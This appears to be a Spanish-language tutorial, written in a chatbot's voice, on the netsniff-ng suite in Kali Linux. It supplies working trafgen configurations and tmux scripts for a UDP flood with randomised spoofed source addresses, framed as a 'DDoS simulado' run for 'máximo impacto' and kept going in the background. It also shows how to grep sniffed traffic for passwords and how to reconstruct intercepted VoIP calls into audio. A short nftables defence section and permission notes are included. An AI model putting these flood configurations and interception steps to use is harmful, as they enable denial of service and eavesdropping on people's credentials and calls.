Kali Linux: netsniff-ng para redes

https://www.onlinetis.com/es/

Kali Linux: netsniff-ng para redes

Netsniff-ng es una de las herramientas más potentes y avanzadas que encontrarás en Kali Linux para el análisis de redes. A diferencia de herramientas más comunes como tcpdump, esta suite está diseñada para el rendimiento extremo, utilizando mecanismos de "zero-copy" para procesar paquetes sin saturar la CPU.

Aquí tienes una guía rápida para entender qué es y cómo empezar a usarla.

¿Qué es la suite netsniff-ng?

No es solo un comando, sino un conjunto de herramientas de "navaja suiza" para redes Linux. Su gran ventaja es que accede directamente a los paquetes de red a través de un anillo de memoria compartido, lo que evita que el kernel pierda paquetes durante un tráfico intenso.

Herramientas incluidas:

netsniff-ng: El analizador de paquetes (similar a tcpdump).
trafgen: Un generador de tráfico de red multihilo de alta velocidad.
mausezahn: Un generador de paquetes para pruebas de HW/SW con una sintaxis sencilla.
ifpps: Estadísticas del kernel sobre flujos de red en tiempo real.
astraceroute: Una utilidad de trazado de rutas (traceroute) con mayor privacidad y detalle.

Comandos básicos y uso frecuente

Para usar estas herramientas en Kali, generalmente necesitarás privilegios de superusuario (sudo).

1. Capturar tráfico (Sniffing)

Para ver el tráfico que pasa por tu interfaz de red (por ejemplo, eth0 o wlan0):

Bash

sudo netsniff-ng --dev eth0

2. Guardar captura en un archivo PCAP

Si quieres analizar los datos después en Wireshark:

Bash

sudo netsniff-ng --in eth0 --out informe.pcap --silent

3. Generar tráfico masivo con trafgen

Es ideal para pruebas de estrés. Primero se suele definir un archivo de configuración de paquetes y luego se ejecuta:

Bash

sudo trafgen --dev eth0 --conf mi_config.cfg

¿Por qué usarlo en lugar de tcpdump o Wireshark?

Característica	tcpdump / Wireshark	netsniff-ng
Rendimiento	Estándar	Ultra alto (Zero-copy)
Pérdida de paquetes	Común en redes de 10Gbps	Mínima o nula
Curva de aprendizaje	Amigable	Técnica / Avanzada
Uso principal	Diagnóstico rápido	Análisis forense y pruebas de carga

Consejos para principiantes

Filtros BPF: Al igual que tcpdump, puedes usar filtros de Berkeley Packet Filter para ignorar el ruido (ej. sudo netsniff-ng --dev eth0 "tcp port 80").

Ayuda: La suite es muy extensa. Usa netsniff-ng --help para ver todas las opciones de optimización, como la afinidad de CPU.

Crear un script para trafgen requiere definir las reglas del paquete a nivel de bits o mediante su sintaxis de configuración. A diferencia de otras herramientas, trafgen es increíblemente potente porque permite construir paquetes personalizados que se envían directamente a la tarjeta de red.

Aquí tienes un ejemplo de una configuración para realizar una prueba de inundación UDP (UDP Flood), que es una de las formas más comunes de probar la resistencia de un servidor y su ancho de banda.

1. Crear el archivo de configuración

Primero, crea un archivo llamado estres.cfg con el siguiente contenido. Este diseño simula paquetes UDP dirigidos a un puerto específico:

Fragmento de código

/* Configuración de trafgen para prueba de estrés UDP */
{
  /* Cabecera Ethernet */
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff,  /* Destino MAC (Broadcast o la MAC del server) */
  0x00, 0x0a, 0xe4, 0x40, 0xf1, 0x5a,  /* Origen MAC (Tu MAC) */
  0x08, 0x00,                          /* Protocolo: IPv4 */

  /* Cabecera IPv4 */
  0x45, 0x00, 0x00, 0x2e,              /* Versión, IHL, TOS, Longitud total */
  0xabcd, 0x40, 0x00,                  /* ID, Flags, Fragment offset */
  0x40, 0x11, 0x00, 0x00,              /* TTL (64), Protocolo (UDP), Checksum */
  192, 168, 1, 10,                     /* IP Origen (Cámbiala) */
  192, 168, 1, 50,                     /* IP Destino (Servidor objetivo) */

  /* Cabecera UDP */
  0x13, 0x37,                          /* Puerto Origen (4919) */
  0x00, 0x50,                          /* Puerto Destino (80 - HTTP) */
  0x00, 0x1a, 0x00, 0x00,              /* Longitud, Checksum */

  /* Carga útil (Payload) - "Prueba" en hex */
  0x50, 0x72, 0x75, 0x65, 0x62, 0x61
}

2. Ejecutar el ataque de prueba

Una vez guardado el archivo, utiliza el siguiente comando para lanzar el tráfico. Aquí es donde trafgen brilla por su velocidad:

Bash

sudo trafgen --dev eth0 --conf estres.cfg --cpu 2 --num 1000000

Explicación de los parámetros:

--dev eth0: Tu interfaz de red.
--conf estres.cfg: El archivo que acabamos de crear.
--cpu 2: Utiliza 2 núcleos de tu procesador para generar tráfico (puedes subirlo según tu hardware).
--num 1000000: Envía 1 millón de paquetes y se detiene. Si quieres que sea infinito, usa --loop.

3. Monitoreo (Opcional pero recomendado)

Mientras ejecutas trafgen, es útil abrir otra terminal y usar ifpps (de la misma suite netsniff-ng) para ver cuántos paquetes por segundo estás logrando enviar:

Bash

sudo ifpps --dev eth0

[!IMPORTANT]
Nota de seguridad: Realiza estas pruebas solo en redes de tu propiedad o con permiso explícito. Generar tráfico masivo puede saturar switches y routers intermedios, no solo el servidor destino.

Hacer que las IPs de origen sean aleatorias es fundamental para una prueba de resistencia real, ya que evita que los firewalls o sistemas de mitigación simples bloqueen una única dirección IP y den un resultado falso sobre la capacidad del servidor.

En trafgen, esto se logra usando funciones integradas como drnd(). Aquí tienes el script actualizado:

Script de Estrés con IP de Origen Aleatoria

Crea un archivo llamado ddos_simulado.cfg:

Fragmento de código

/* Simulación de tráfico distribuido con IPs aleatorias */
{
  /* Ethernet: Destino fijo (MAC del Server), Origen fijo (Tu MAC) */
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff,  
  0x00, 0x0a, 0xe4, 0x40, 0xf1, 0x5a,  
  0x08, 0x00,                          

  /* Cabecera IPv4 */
  0x45, 0x00, 0x00, 0x2e,              
  drnd(2), 0x40, 0x00,                 /* ID aleatorio para evitar detección */
  0x40, 0x11, 0x00, 0x00,              

  /* IP ORIGEN ALEATORIA: drnd(4) genera 4 bytes al azar */
  drnd(4),                             

  /* IP DESTINO: El servidor que quieres probar (ej: 192.168.1.50) */
  192, 168, 1, 50,                     

  /* UDP: Puerto origen aleatorio, destino fijo (80) */
  drnd(2),                             
  0x00, 0x50,                          
  0x00, 0x1a, 0x00, 0x00,              

  /* Carga útil aleatoria de 6 bytes */
  drnd(6)
}

Cómo ejecutarlo para máximo impacto

Para que la prueba sea realmente "agresiva" y aproveches el motor de zero-copy de netsniff-ng, usa este comando:

Bash

sudo trafgen --dev eth0 --conf ddos_simulado.cfg --cpp --ring-size 50MiB --cpu all --loop

¿Qué significan estos nuevos parámetros?

--cpp: Activa el preprocesador de C (necesario si usas macros o funciones complejas).
--ring-size 50MiB: Reserva un anillo de memoria más grande para evitar cuellos de botella en la salida de datos.
--cpu all: Utiliza todos los núcleos de tu procesador. Si tienes un procesador de 8 hilos, enviará tráfico 8 veces más rápido que con uno solo.
--loop: No se detendrá hasta que presiones Ctrl+C.

¿Qué observar en el servidor?

Mientras lanzas el ataque desde tu máquina Kali, en el servidor objetivo deberías monitorear:

Uso de CPU: ¿El proceso del servidor web/servicio sube al 100%?
Tabla de conexiones: Usa netstat -n | wc -l para ver cuántas conexiones "sucias" se generan.
Ancho de banda: Usa nload o bmon para ver si la interfaz de red llega a su límite de Gbps.

Para verificar si tu tráfico está llegando realmente al servidor o si un firewall intermedio lo está bloqueando (o modificando), astraceroute es la herramienta ideal dentro de la suite netsniff-ng.

A diferencia del traceroute convencional que usa ICMP o UDP estándar, astraceroute es un rastreador de rutas autónomo que permite mucha más granularidad y detalle sobre los nodos intermedios.

Cómo usar astraceroute para auditar el tráfico

Para probar si tu ataque de estrés está siendo filtrado por un firewall (como un Fortinet, Cisco o iptables), ejecuta:

Bash

sudo astraceroute --dev eth0 --dst 192.168.1.50 --type tcp --port 80

¿Por qué es mejor que el traceroute normal?

Modos de Sonda: Puedes elegir entre tcp, udp, icmp o incluso raw para saltarte reglas básicas de firewall.
Información de AS (Sistema Autónomo): Te dice a qué entidad pertenece cada salto (útil en entornos WAN o Internet).
Detección de Filtrado: Si ves que la ruta se corta en un salto específico antes de llegar al servidor, has encontrado el dispositivo de seguridad que está deteniendo tu tráfico de trafgen.

Interpretación de resultados en una prueba de estrés

Cuando lances astraceroute mientras trafgen está corriendo, fíjate en esto:

Latencia alta en los saltos: Si el tiempo de respuesta (RTT) aumenta drásticamente en el último salto, el servidor está sufriendo por el tráfico.
Asteriscos (* * *): Si de repente aparecen asteriscos donde antes había respuesta, el firewall intermedio ha activado una regla de Rate Limiting o Anti-DDoS y está descartando tus paquetes.
Cambio de ruta: Algunos sistemas inteligentes desvían el tráfico sospechoso a una "limpiadora" (scrubbing center). astraceroute te mostrará si el camino de los paquetes cambia de repente.

Análisis Forense Rápido: ifpps

Si quieres ver cuántos paquetes por segundo (pps) está procesando tu tarjeta de red en tiempo real mientras haces todo esto, abre una tercera terminal y lanza:

Bash

sudo ifpps --dev eth0

Esto te dará una tabla visual con los RX (recibidos) y TX (transmitidos). En una prueba de estrés, tu TX debería estar en valores de cientos de miles o millones de paquetes por segundo.

Configurar un filtro BPF (Berkeley Packet Filter) es el siguiente paso lógico. Cuando lanzas un ataque de estrés, tu terminal se inundará de miles de paquetes, lo que hace imposible ver qué está pasando realmente.

Al filtrar solo por mensajes ICMP Destination Unreachable o Time Exceeded, podrás saber en tiempo real si el servidor se ha caído o si un firewall intermedio está descartando tus paquetes de trafgen.

1. El Filtro BPF para Errores de Red

El lenguaje BPF es un estándar de bajo nivel que permite al kernel de Linux descartar lo que no nos interesa antes de que llegue a la CPU.

Para capturar solo las respuestas de error del servidor (mientras tu ataque sigue en otra ventana), usa este comando:

Bash

sudo netsniff-ng --dev eth0 --in eth0 --out - --filter "icmp and (icmp[0] == 3 or icmp[0] == 11)"

¿Qué hace este filtro?

icmp: Solo mira paquetes del protocolo ICMP.
icmp[0] == 3: Filtra el "Tipo 3", que significa Destination Unreachable (el servidor está saturado o el puerto está cerrado).
icmp[0] == 11: Filtra el "Tipo 11", que significa Time Exceeded (el paquete murió en el camino, síntoma de bucles o firewalls agresivos).

2. Captura combinada: Estrés + Análisis

Lo ideal es trabajar con tres terminales abiertas en tu Kali Linux para tener el control total de la prueba:

Terminal	Herramienta	Función
Terminal 1	`trafgen`	Genera el ataque masivo con IPs aleatorias.
Terminal 2	`ifpps`	Monitoriza los millones de paquetes por segundo (pps) que envías.
Terminal 3	`netsniff-ng`	Escucha con el filtro BPF para ver cuándo el servidor empieza a fallar.

3. ¿Cómo saber si el servidor "murió"?

Si en tu terminal de netsniff-ng empiezas a ver una ráfaga de mensajes tipo ICMP 3/3 (Port Unreachable) o simplemente dejas de recibir cualquier respuesta de tipo ACK (si estuvieras probando TCP), significa que el stack de red del servidor ha llegado a su límite.

Un truco avanzado:

Si quieres guardar esos errores en un archivo para un reporte profesional, añade --out errores.pcap al comando de netsniff-ng. Así podrás abrirlos luego en Wireshark y ver exactamente en qué segundo el servidor dejó de responder.

Una vez que detienes el ataque y tienes tu archivo .pcap, es momento de convertir esa montaña de datos en una prueba visual de que el servidor fue superado. Wireshark es el estándar para esto, pero hay que saber qué buscar.

Aquí tienes los 3 gráficos y métricas clave que demuestran el éxito (o fallo) de una prueba de resistencia:

1. Gráfico de IO (Entrada/Salida)

En Wireshark, ve a Statistics -> I/O Graph. Este es el "electrocardiograma" de tu prueba.

Qué buscar: Una línea que sube verticalmente cuando inicias trafgen.
Señal de éxito: Si la línea de paquetes enviados (TX) sigue alta pero la de paquetes recibidos (RX) o respuestas del servidor cae a cero, has saturado el stack de red del objetivo.
Puntos de quiebre: Verás "mesetas" donde el hardware ya no puede procesar más bits por segundo.

2. Análisis de Flujo TCP (Si usaste SYN Flood)

Si en lugar de UDP usaste paquetes TCP SYN (para agotar la tabla de conexiones), ve a Statistics -> Conversations -> TCP.

Métrica clave: El número de conexiones en estado SYN_RECV.
Interpretación: Si ves miles de conexiones que nunca llegan a completarse (sin el ACK final), significa que has llenado la "cola de conexiones pendientes" del servidor, impidiendo que usuarios legítimos entren.

3. Gráfico de Tiempos de Respuesta (RTT)

Ve a Statistics -> TCP Stream Graphs -> Round Trip Time.

El síntoma: A medida que la CPU del servidor se estresa, el tiempo que tarda en responder a un solo paquete sube de milisegundos a segundos.
El colapso: Cuando el gráfico muestra puntos dispersos o simplemente deja de dibujar, el servicio ha dejado de responder (DoS).

Resumen del Reporte Técnico

Para un reporte profesional, deberías incluir esta tabla comparativa basada en tus hallazgos:

Fase	Paquetes/Seg (PPS)	Estado del Servidor	Observación
Basal	< 1,000	Estable	Funcionamiento normal.
Carga Media	50,000	Lento	Latencia aumenta (RTT > 500ms).
Saturación	> 500,000	Inalcanzable	El servidor empieza a enviar ICMP Type 3.

¿Qué sigue?

Ahora que sabes cómo lanzar el tráfico, filtrarlo y analizarlo, el siguiente nivel es la defensa.

Para cerrar el círculo, ahora que sabes cómo atacar y analizar con la suite netsniff-ng, es vital entender cómo se defiende un servidor real. En Linux, la herramienta estándar es nftables (el sucesor moderno de iptables).

Aquí tienes cómo configurar una defensa básica pero efectiva contra las pruebas de estrés que acabamos de hacer.

1. Bloqueo de Inundaciones (Rate Limiting)

La mejor defensa no es bloquear todas las IPs (ya que usamos IPs aleatorias con drnd), sino limitar cuántos paquetes nuevos puede recibir el servidor por segundo.

Ejecuta estos comandos en el servidor objetivo:

Bash
# Crear una tabla de defensa
sudo nft add table inet filtro_estres

# Crear una cadena para procesar la entrada
sudo nft add chain inet filtro_estres entrada { type filter hook input priority 0 \; }

# Regla: Si alguien envía más de 50 paquetes UDP por segundo, descartar el resto
sudo nft add rule inet filtro_estres entrada udp dport 80 meter flood { ip saddr timeout 10s limit rate 50/second } accept
sudo nft add rule inet filtro_estres entrada udp dport 80 drop

2. Protección contra SYN Flood (Ataques TCP)

Si tu ataque fuera de tipo TCP SYN (para agotar conexiones), el kernel de Linux tiene una "arma secreta" llamada TCP Syncookies. Esto permite al servidor manejar conexiones incluso cuando la tabla de memoria está llena.

Actívalo con este comando:

Bash

sudo sysctl -w net.ipv4.tcp_syncookies=1

3. ¿Cómo verificar si la defensa funciona?

Vuelve a tu máquina Kali y lanza el script de trafgen que creamos antes. Luego, en el servidor, mira las estadísticas de las reglas:

Bash

sudo nft list table inet filtro_estres

Si ves que el contador de paquetes en la regla drop sube rápidamente, ¡felicidades! Tu servidor está filtrando con éxito el ataque de alto rendimiento que diseñaste.

Resumen del Flujo de Trabajo

Has aprendido el ciclo completo de una auditoría de red:

Generación: Crear tráfico masivo y aleatorio con trafgen.
Rastreo: Usar astraceroute para identificar cuellos de botella.
Captura Inteligente: Filtrar solo errores críticos con BPF en netsniff-ng.
Análisis: Visualizar el colapso en Wireshark.
Mitigación: Aplicar reglas de nftables para endurecer el servidor.

[!TIP]
En un entorno profesional, nunca pruebes esto en producción sin una ventana de mantenimiento, ya que incluso con defensas, el ancho de banda del canal puede saturarse antes de llegar al servidor.

Para automatizar esto en Kali Linux, lo más eficiente es usar un script de Bash que aproveche tmux. tmux permite dividir tu terminal en varios paneles (ventanas) y ejecutar un comando diferente en cada uno con un solo clic.

Aquí tienes el script "Todo-en-Uno" para tu auditoría de red.

Script: `auditoria_red.sh`

Crea el archivo con nano auditoria_red.sh y pega el siguiente código:

Bash
#!/bin/bash

# Configuración
INTERFACE="eth0"
TARGET_IP="192.168.1.50"
CONF_FILE="ddos_simulado.cfg"

# Comprobar si tmux está instalado
if ! command -v tmux &> /dev/null; then
    echo "Instalando tmux..."
    sudo apt update && sudo apt install tmux -y
fi

# Crear una nueva sesión de tmux
SESSION="auditoria_netsniff"
tmux new-session -d -s $SESSION

# Panel 1: Generador de Tráfico (trafgen)
tmux send-keys -t $SESSION "sudo trafgen --dev $INTERFACE --conf $CONF_FILE --cpp --cpu all --loop" C-m

# Dividir horizontalmente para el Monitor de PPS (ifpps)
tmux split-window -v -t $SESSION
tmux send-keys -t $SESSION "sudo ifpps --dev $INTERFACE" C-m

# Dividir verticalmente el panel inferior para el Analizador (netsniff-ng)
tmux split-window -h -t $SESSION
tmux send-keys -t $SESSION "sudo netsniff-ng --dev $INTERFACE --filter 'icmp and (icmp[0] == 3 or icmp[0] == 11)'" C-m

# Seleccionar el primer panel y entrar en la sesión
tmux select-pane -t 0
tmux attach-session -t $SESSION

Cómo usar el script automatizado

Dar permisos de ejecución:
chmod +x auditoria_red.sh
Lanzar la suite:
./auditoria_red.sh

¿Qué verás en pantalla?

Al ejecutarlo, tu terminal se dividirá automáticamente en tres secciones:

Arriba: El motor de ataque enviando millones de paquetes.
Abajo-Izquierda: El velocímetro real (PPS) de tu tarjeta de red.
Abajo-Derecha: La "escucha" selectiva esperando a que el servidor empiece a fallar.

3 Comandos útiles dentro de tmux

Una vez dentro del script, puedes controlar la sesión así:

Ctrl + b y luego d: Sale del script pero deja el ataque corriendo en segundo plano (muy útil).
tmux attach: Vuelve a entrar para ver cómo va la prueba.
Ctrl + c (en cada panel): Detiene la herramienta específica.

[!NOTE]
Recuerda que para que el script funcione, el archivo ddos_simulado.cfg debe estar en la misma carpeta.

Para que tu auditoría sea profesional, no basta con ver los datos pasar; necesitas un registro (log) que puedas presentar como prueba del colapso del servidor.

Vamos a modificar el script para que, además de mostrar todo en pantalla, guarde los errores críticos y las estadísticas de tráfico en archivos de texto con una marca de tiempo.

Script Evolucionado: `auditoria_con_logs.sh`

Este script creará una carpeta llamada reporte_auditoria y guardará allí todo lo que suceda.

Bash
#!/bin/bash

# Configuración
INTERFACE="eth0"
CONF_FILE="ddos_simulado.cfg"
LOG_DIR="reporte_$(date +%Y%m%d_%H%M%S)"

# Crear carpeta de reportes
mkdir -p "$LOG_DIR"

# Comprobar tmux
if ! command -v tmux &> /dev/null; then sudo apt install tmux -y; fi

SESSION="auditoria_con_logs"
tmux new-session -d -s $SESSION

# Panel 1: Generador (Trafgen)
tmux send-keys -t $SESSION "sudo trafgen --dev $INTERFACE --conf $CONF_FILE --cpp --cpu all --loop" C-m

# Panel 2: Monitor de PPS -> Guardando a log cada 5 segundos
tmux split-window -v -t $SESSION
tmux send-keys -t $SESSION "sudo ifpps --dev $INTERFACE | tee $LOG_DIR/trafico_pps.log" C-m

# Panel 3: Analizador de Errores -> Guardando solo ICMP Unreachable
tmux split-window -h -t $SESSION
tmux send-keys -t $SESSION "sudo netsniff-ng --dev $INTERFACE --filter 'icmp[0] == 3' --silent --out $LOG_DIR/errores_servidor.pcap" C-m

# Panel 4: Monitor de logs en tiempo real (Nuevo)
tmux split-window -v -p 20 -t $SESSION
tmux send-keys -t $SESSION "watch -n 1 'ls -lh $LOG_DIR'" C-m

tmux select-pane -t 0
tmux attach-session -t $SESSION

¿Qué obtienes al final de la prueba?

Cuando termines la prueba (presionando Ctrl+C en los paneles y saliendo de tmux), tendrás una carpeta con:

trafico_pps.log: Un archivo de texto con el historial de cuántos Megabits y paquetes por segundo enviaste. Ideal para gráficas de Excel.
errores_servidor.pcap: Un archivo comprimido que solo contiene los paquetes de "Servidor Caído". Puedes abrirlo en Wireshark para ver el segundo exacto del colapso.

El toque final: Limpieza

Si quieres detener todo el laboratorio de golpe sin ir panel por panel, puedes usar este comando rápido:

Bash

sudo pkill trafgen && sudo pkill netsniff-ng && tmux kill-session -t auditoria_con_logs

Un consejo de "Hacker Ético"

Si estás haciendo esto para un cliente o un proyecto de clase, intenta ejecutar el ataque en intervalos:

Minuto 1-5: 10,000 pps (Carga ligera).
Minuto 6-10: 100,000 pps (Carga media).
Minuto 11+: Máximo rendimiento.

Esto te permitirá identificar el umbral exacto de ruptura del servidor, que es el dato más valioso de cualquier prueba de estrés.

Para cerrar con broche de oro, vamos a convertir esos datos aburridos del log en una gráfica visual que cualquiera pueda entender. En el mundo de la ciberseguridad, una gráfica que muestra el "pico de tráfico" y la "caída del servicio" vale más que mil líneas de log.

Utilizaremos Gnuplot, una herramienta clásica de Linux que genera gráficos directamente desde la terminal.

1. Instalación de Herramientas

Primero, asegúrate de tener lo necesario en tu Kali:

Bash

sudo apt update && sudo apt install gnuplot -y

2. El Script de Graficación: `generar_grafica.sh`

Este script procesará el archivo trafico_pps.log (que creamos en el paso anterior) y generará una imagen .png.

Bash
#!/bin/bash

# Nombre del archivo de log (ajusta según tu carpeta generada)
LOG_FILE=$(ls -td reporte_*/ | head -1)trafico_pps.log
OUTPUT_IMG="reporte_rendimiento.png"

# Crear el script para gnuplot
cat << EOF > plot_script.gp
set terminal png size 800,600
set output '$OUTPUT_IMG'
set title "Análisis de Carga de Red - Prueba de Estrés"
set xlabel "Tiempo (Muestras)"
set ylabel "Paquetes por Segundo (pps)"
set grid
set style data lines
plot "$LOG_FILE" using 1 title "Tráfico Transmitido (TX)" lw 2 linecolor rgb "red"
EOF

# Ejecutar gnuplot
gnuplot plot_script.gp
echo "Gráfica generada con éxito: $OUTPUT_IMG"

3. Interpretación de la Gráfica

Cuando abras la imagen reporte_rendimiento.png, verás algo parecido a esto:

Eje X: El avance del tiempo durante tu prueba.
Eje Y: La intensidad del ataque en paquetes por segundo.
La Curva: Si la línea es constante y alta, tu máquina Kali está rindiendo al máximo. Si la línea fluctúa, puede que tu propia CPU o la tarjeta de red local estén llegando a su límite térmico o de buffer.

Resumen Final de tu Auditoría con Netsniff-ng

Ahora tienes un flujo de trabajo de nivel experto:

Lanzamiento: Automatizado con tmux.
Ataque: Personalizado con IPs aleatorias en trafgen.
Captura: Filtrada quirúrgicamente con BPF.
Defensa: Mitigación probada con nftables.
Reporte: Gráficas visuales para demostrar el impacto.

Pasar de la capa de transporte (UDP/TCP) a la capa de aplicación (HTTP, DNS) es donde netsniff-ng se convierte en una herramienta de análisis forense real. Aquí no solo buscamos saturar el servidor, sino espiar o interceptar qué datos están viajando.

Para esto, utilizaremos la potencia de los filtros BPF para "limpiar" el ruido y quedarnos solo con el texto legible de las peticiones.

1. Interceptar Tráfico HTTP (Puerto 80)

Aunque hoy mucho tráfico es HTTPS (cifrado), el tráfico HTTP plano sigue siendo común en redes internas, IoT y ataques de inyección.

Para ver las peticiones GET y POST en tiempo real:

Bash

sudo netsniff-ng --dev eth0 --in eth0 --out - --filter "tcp port 80" --ascii

--ascii: Este es el truco mágico. Convierte los paquetes de red en texto legible para humanos. Verás las cabeceras Host:, User-Agent: y las cookies de sesión si no están cifradas.

2. Monitorizar Consultas DNS (Exfiltración de Datos)

Muchos atacantes usan el protocolo DNS para sacar información de una red de forma silenciosa. Con netsniff-ng puedes ver qué dominios está consultando cada equipo de la red:

Bash

sudo netsniff-ng --dev eth0 --filter "udp port 53" --ascii

Señal de alerta: Si ves consultas a dominios extraños de 60 caracteres (ej. a1b2c3d4.atacker.com), es muy probable que alguien esté usando un túnel DNS para saltarse el firewall.

3. Crear un Filtro Quirúrgico para Credenciales

Si quieres capturar solo cuando alguien intenta hacer login (buscando la palabra "user" o "pass" en el tráfico), puedes usar un filtro más avanzado:

Bash

sudo netsniff-ng --dev eth0 --filter "tcp port 80" --ascii | grep -iE "user|pass|login|pwd"

Diferencia entre Analizar y Atacar

Ahora que estamos mirando el contenido, la suite cambia de propósito:

Herramienta	Uso en Capa 3/4 (Red)	Uso en Capa 7 (Aplicación)
trafgen	Inundación de paquetes (DDoS)	Inyección de cabeceras falsas
netsniff-ng	Análisis de ancho de banda	Inspección de datos (DPI)
mausezahn	Pruebas de routing	Simulación de clientes HTTP/DNS

¿Qué sigue en tu entrenamiento?

Ya dominas el envío masivo, la defensa y la inspección de datos. Lo único que nos falta para que seas un experto total en esta suite es la manipulación activa.

Decodificar VoIP (Voice over IP) es uno de los retos más interesantes en el análisis de redes. Cuando capturas una llamada con netsniff-ng, lo que obtienes no es un archivo de audio directo, sino miles de paquetes RTP (Real-time Transport Protocol) que transportan fragmentos de voz codificados (generalmente en códecs como G.711, G.722 o Opus).

Aquí te explico cómo capturarlos quirúrgicamente y cómo extraer el audio para escucharlo.

1. Capturar el tráfico de voz (RTP)

La mayoría de las comunicaciones VoIP utilizan un rango de puertos UDP (normalmente entre el 10000 y el 20000). Para no llenar tu disco duro con datos innecesarios, usamos un filtro BPF que solo capture tráfico de audio:

Bash

sudo netsniff-ng --dev eth0 --out llamada_voip.pcap --filter "udp range 10000-20000" --silent

[!TIP]
Si conoces la IP de la centralita (PBX) o del teléfono IP, es mejor añadirla al filtro: "ip host 192.168.1.100 and udp".

2. El proceso de decodificación

netsniff-ng es excelente para la captura de alto rendimiento, pero para la reconstrucción de audio, lo ideal es pasar el archivo .pcap resultante a herramientas de análisis forense como Wireshark o tshark.

Pasos en Wireshark:

Abre tu archivo llamada_voip.pcap.
Ve al menú superior: Telephony -> RTP -> RTP Streams.
Verás una lista de los flujos detectados (uno para cada dirección de la voz).
Selecciona el flujo que te interesa y haz clic en Play Streams.

3. Automatización con Tshark (Línea de comandos)

Si prefieres seguir en la terminal de Kali y extraer el audio a un archivo de sonido sin abrir una interfaz gráfica, puedes usar tshark:

Bash

# Extraer el payload RTP a un archivo crudo (raw)
tshark -r llamada_voip.pcap -Y rtp -T fields -e rtp.payload > voz_cruda.raw

Luego, puedes usar SoX para convertir ese flujo de datos "raw" en un archivo .wav que cualquier reproductor pueda abrir:

Bash

# Ejemplo para códec G.711u (muy común)
sox -t raw -r 8000 -c 1 -e mu-law voz_cruda.raw salida_audio.wav

Desafíos: El cifrado (SRTP)

Aquí es donde las cosas se ponen difíciles. En la actualidad, muchas apps y teléfonos usan SRTP (Secure RTP).

Si el tráfico es SRTP: Verás los paquetes en netsniff-ng, pero al intentar escucharlos solo oirás ruido blanco (estática).
La solución: Necesitarías capturar también el tráfico SIP (puerto 5060) para obtener las llaves de cifrado, o tener acceso a los certificados TLS del servidor.

Resumen de la Suite para VoIP

Acción	Herramienta	Comando clave
Captura	`netsniff-ng`	`--filter "udp"`
Identificación	`astraceroute`	Detectar la ruta hacia la PBX
Estadísticas	`ifpps`	Ver el ancho de banda del flujo de voz
Extracción	`tshark`	Volcar el payload RTP

¿Qué quieres intentar ahora?

Hemos cubierto desde el ataque de saturación hasta el espionaje de comunicaciones de voz.